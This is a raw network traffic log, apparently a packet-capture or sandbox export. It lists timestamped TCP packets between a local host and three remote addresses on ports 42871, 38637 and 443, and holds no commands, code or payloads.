Dec 1, 2021 09:15:11.184730053 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.243431091 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243469954 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243489981 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243509054 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243643045 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243849993 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243870020 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.243886948 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.244050026 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.244069099 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.246496916 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.246602058 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.246788025 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.246958017 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.247098923 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.249027967 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.303584099 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:12.735165119 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:12.805562973 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:12.805660009 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:14.089442015 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:14.162446976 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:14.209944010 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:15.662412882 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:15.681638002 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:15.725840092 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:15.731771946 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:15.752970934 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:15.794244051 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:15.796217918 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:15.803801060 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:15.859421015 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:15.900769949 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:15.962995052 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:15.973946095 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.036195993 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.038940907 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.101030111 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.112282038 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.174078941 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.174633026 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.194732904 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.256905079 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.275162935 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.337311983 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.342762947 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.405149937 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.406678915 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.468811035 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.522665024 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.658962011 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.722311974 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.772661924 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.867562056 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.930067062 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:16.934482098 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:16.996774912 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.004131079 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:17.065773010 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.065798998 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.067066908 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.067712069 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:17.129904032 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.131571054 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:17.195489883 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.218671083 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:17.280527115 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:17.335217953 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:17.527904034 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:20.809722900 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:20.884500027 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:20.884525061 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:20.884538889 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:20.884605885 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:21.606966019 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:21.676248074 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:21.676285028 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:21.702192068 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:21.703030109 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:21.809844971 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:21.815344095 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:22.007431030 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:22.756233931 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.756293058 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.756375074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.759695053 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.759727001 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.805469990 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.805623055 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.807368040 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.807384014 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.808814049 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.829138994 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.868083000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868370056 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868436098 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.868453979 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868530035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868581057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.868587017 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868700027 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868750095 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.868755102 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868877888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.868928909 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.868936062 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869024992 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869076967 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869082928 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869174004 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869219065 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869225025 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869322062 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869369984 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869376898 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869462967 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869507074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869513988 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869645119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869694948 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869700909 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869791031 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869841099 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869846106 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869934082 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.869978905 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.869983912 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870068073 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870112896 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870119095 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870218039 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870265961 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870273113 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870362997 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870408058 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870414019 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870501041 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870548964 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870553970 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870642900 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870688915 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870695114 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870784998 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870830059 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870836020 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870918989 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.870965004 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.870970964 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871064901 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871119976 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.871125937 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871238947 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871287107 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.871294022 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871340036 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871397018 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.871404886 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.871448040 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.886728048 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.886840105 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.886850119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.886873960 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.886913061 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.886948109 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.886990070 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887058973 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.887111902 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887193918 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.887218952 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887281895 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.887326002 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887387037 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.887428045 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887487888 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.887521982 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.887582064 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.888715029 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.888783932 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.888823032 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.888883114 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.888957024 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.889017105 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.889058113 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.889117002 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.889159918 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.889219999 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.889270067 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.889332056 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.889367104 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.889430046 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.904285908 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.904442072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.904625893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.904702902 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.904731035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.904795885 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.904841900 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.904930115 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.904975891 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.905045033 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.905077934 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.905149937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.905184031 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.905252934 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.905291080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.905359030 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.905383110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.905447960 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.906620979 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.906780005 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.906784058 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.906812906 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.906879902 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.906893015 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.906918049 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.906986952 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907022953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907089949 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907135010 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907202959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907269001 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907336950 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907385111 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907468081 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907510042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907571077 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907619953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907682896 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907721996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907780886 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907826900 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.907907009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.907941103 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908010006 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908129930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908217907 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908241034 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908309937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908457041 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908529997 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908720016 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908739090 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908799887 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908823013 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908834934 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908854008 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908915997 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.908921957 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.908961058 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909015894 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909048080 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909126997 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909173012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909218073 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909231901 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909255981 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909276009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909312010 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909365892 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909419060 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.909437895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.909492970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.922684908 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.922730923 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.922827959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.922858000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.922899008 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.922902107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.922923088 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.922933102 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.922952890 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923055887 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923073053 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923088074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923094988 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923125029 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923146963 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923187971 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923233032 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923244953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923260927 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923304081 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923321962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923361063 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923397064 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923408985 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.923455954 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.923463106 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924006939 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924051046 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924160957 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924179077 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924192905 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924235106 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924243927 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924267054 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924309015 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924312115 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924359083 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924370050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924384117 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924422026 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924468994 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924506903 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924546003 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924556971 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924577951 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924608946 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924684048 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924724102 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924761057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924772978 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.924789906 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.924813986 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.925532103 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.925595999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.925628901 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.925645113 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.925662994 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.925692081 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.925971985 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926012993 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926068068 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926084042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926103115 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926166058 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926331043 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926372051 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926412106 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926424026 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926440001 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926474094 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926551104 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926589966 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926625013 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926635981 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926685095 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926695108 CET	49832	443	192.168.2.4	162.159.130.233
